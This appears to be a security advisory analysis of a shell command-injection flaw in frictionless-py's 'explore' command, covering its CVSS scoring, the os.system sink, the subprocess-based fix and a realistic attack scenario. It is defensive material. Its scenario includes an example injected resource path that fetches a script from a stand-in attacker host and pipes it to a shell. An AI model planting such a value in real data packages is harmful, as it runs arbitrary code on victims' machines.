frictionless-py EUVD-2026-85420

Requires the victim to run the frictionless explore console command against an attacker-controlled Data Package whose datapackage.json contains shell metacharacters in a resource path value; these are concatenated unsanitized into an os.system shell invocation (vd {paths}). Limiting factors: exploitation depends on active user interaction (UI:A) - the victim must choose to explore an untrusted package - and on affected versions (through 5.20.0rc1) before the PR#1820 fix; the code path invokes the VisiData vd tool. There is no privilege requirement (PR:N) and no authentication step, but the attack is not self-triggering and requires social engineering or a supply-chain delivery of the malicious package.

This is a genuine, actionable priority within its deployment niche, though tempered by a required-user-interaction gate. The CVSS 4.0 vector (8.6) shows AV:N/AC:L/PR:N with full VC:H/VI:H/VA:H impact - arbitrary command execution in the victim's security context - but critically carries UI:A (Active user interaction required): a victim must actually run frictionless explore against the attacker-supplied Data Package. This is corroborated by the source code evidence: the sink is os.system(f"vd {' '.join(paths)}"), and the PR#1820 fix replaces it with subprocess.run(["vd", *paths]) (no shell), confirming both the root cause (unsanitized paths through a shell) and the trigger (running the explore command). A public POC exists (SaiTeja-Erukude GitHub repo) and the flaw was reported by VulnCheck, which raises the practical exploitation likelihood. No EPSS score and no CISA KEV listing were provided, so there is no evidence of active exploitation - the risk is currently POC-driven, not in-the-wild-confirmed. The main tension to note: PR:N labels this unauthenticated, but exploitation is fundamentally a social-engineering/supply-chain style attack requiring the victim to voluntarily explore an untrusted package, so real-world risk is meaningfully lower than the 8.6 headline suggests for anyone who does not process untrusted Data Packages.

An attacker publishes or shares a malicious Data Package whose datapackage.json embeds shell metacharacters (e.g., a resource path like table;curl attacker/x|sh). A data engineer or analyst downloads it and runs frictionless explore to inspect it, at which point the crafted path is concatenated into an os.system shell call and the attacker's commands execute as that user. A public proof-of-concept exploit is available on GitHub, lowering the barrier to weaponization.